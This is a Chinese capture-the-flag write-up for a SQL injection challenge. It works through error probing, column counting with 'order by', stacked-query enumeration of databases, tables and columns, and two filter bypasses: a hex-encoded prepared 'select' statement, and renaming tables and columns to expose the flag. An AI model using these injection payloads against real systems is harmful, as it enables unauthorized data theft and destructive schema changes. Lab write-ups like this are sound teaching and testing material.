1.打开题目
2.分析题目
① 提交可以看到查询页面返回了一些数据
② 输入1’发现报错,然后1’ #显示正常,应该是存在sql注入了
③ 试一下1’ or 1=1 #
可以看到返回了数据,
④ 正常流程走起,1’ order by 2#
可以看到order by 2的时候是正常回显了,order by 3就出错了,只有2个字段
⑤ 这时候用union select进行联合查询1’ union select 1,2
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
⑥ 这时候想到堆叠注入,试一下1’; show databases;#
可以看到成功了,存在堆叠注入
⑦ 我们再直接show tables来查询下,试下能不能查询出表’; show tables; #
可以看到有两张表
⑧ 下面分别来看下两张表有什么字段’; show columns from 1919810931114514
; #
- 获取flag
但是即使是堆叠注入,想要得到数据也需要select,所以要想办法绕过这个限制
1)解法一:预处理
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
具体解释一下每个语句的意思
首先将查询的语句编码成16进制,可以在这个网站上处理:https://www.bejson.com/convert/ox2str/
select * from 1919810931114514
然后
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
2)解法二:重命名
mysql里可以重命名,所以这里可以进行如下操作
(1)通过 rename 先把 words 表改名为其他的表名
(2)把 1919810931114514 表的名字改为 words
(3)给新 words 表添加新的列名 id
(4)将 flag 改名为 data
也就是说,操作之后,直接输入id=1就可以得到flag
1’;rename table words to word1;rename table 1919810931114514
to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#